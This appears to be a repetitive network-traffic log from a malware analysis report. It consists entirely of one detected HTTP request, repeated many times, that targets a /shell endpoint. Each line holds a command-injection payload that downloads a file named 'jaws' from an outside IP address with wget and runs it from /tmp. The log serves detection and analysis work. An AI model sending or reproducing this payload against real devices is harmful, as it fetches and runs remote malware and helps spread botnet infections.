Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
